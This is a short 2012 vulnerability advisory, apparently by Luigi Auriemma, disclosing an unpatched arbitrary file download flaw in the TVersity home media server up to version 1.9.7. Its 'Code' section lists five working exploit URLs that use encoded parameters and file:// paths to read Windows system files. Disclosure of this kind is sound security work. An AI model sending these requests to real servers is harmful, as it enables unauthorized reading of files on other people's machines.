TVersity 1.9.7 Arbitrary File Download

`#######################################################################  
  
Luigi Auriemma  
  
Application: TVersity  
http://tversity.com  
Versions: <= 1.9.7  
Platforms: Windows  
Bug: arbitrary files downloading  
Exploitation: remote  
Date: 14 Mar 2012  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
TVersity is an home media server.  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
Possibility of downloading arbitrary files.  
  
Note that TVersity is intended for an home usage and by default it  
shouldn't accept connections from internet (there is a specific option  
for that), anyway I have not verified.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://SERVER:41952/geturl/.%3ftype%3daudio%252fmpeg%26url%3dfile://c:/windows/&ext=system.ini  
http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/&ext=system.ini  
http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/system.ini&ext=.  
http://SERVER:41952/geturl/system.ini.ini?type=audio/mpeg&url=file://c:/windows/&ext=.ini  
http://SERVER:41952/geturl/c:\windows\system.ini.mp3?type=audio/mpeg&url=file://&ext=.ini  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix.  
  
  
#######################################################################  
  
`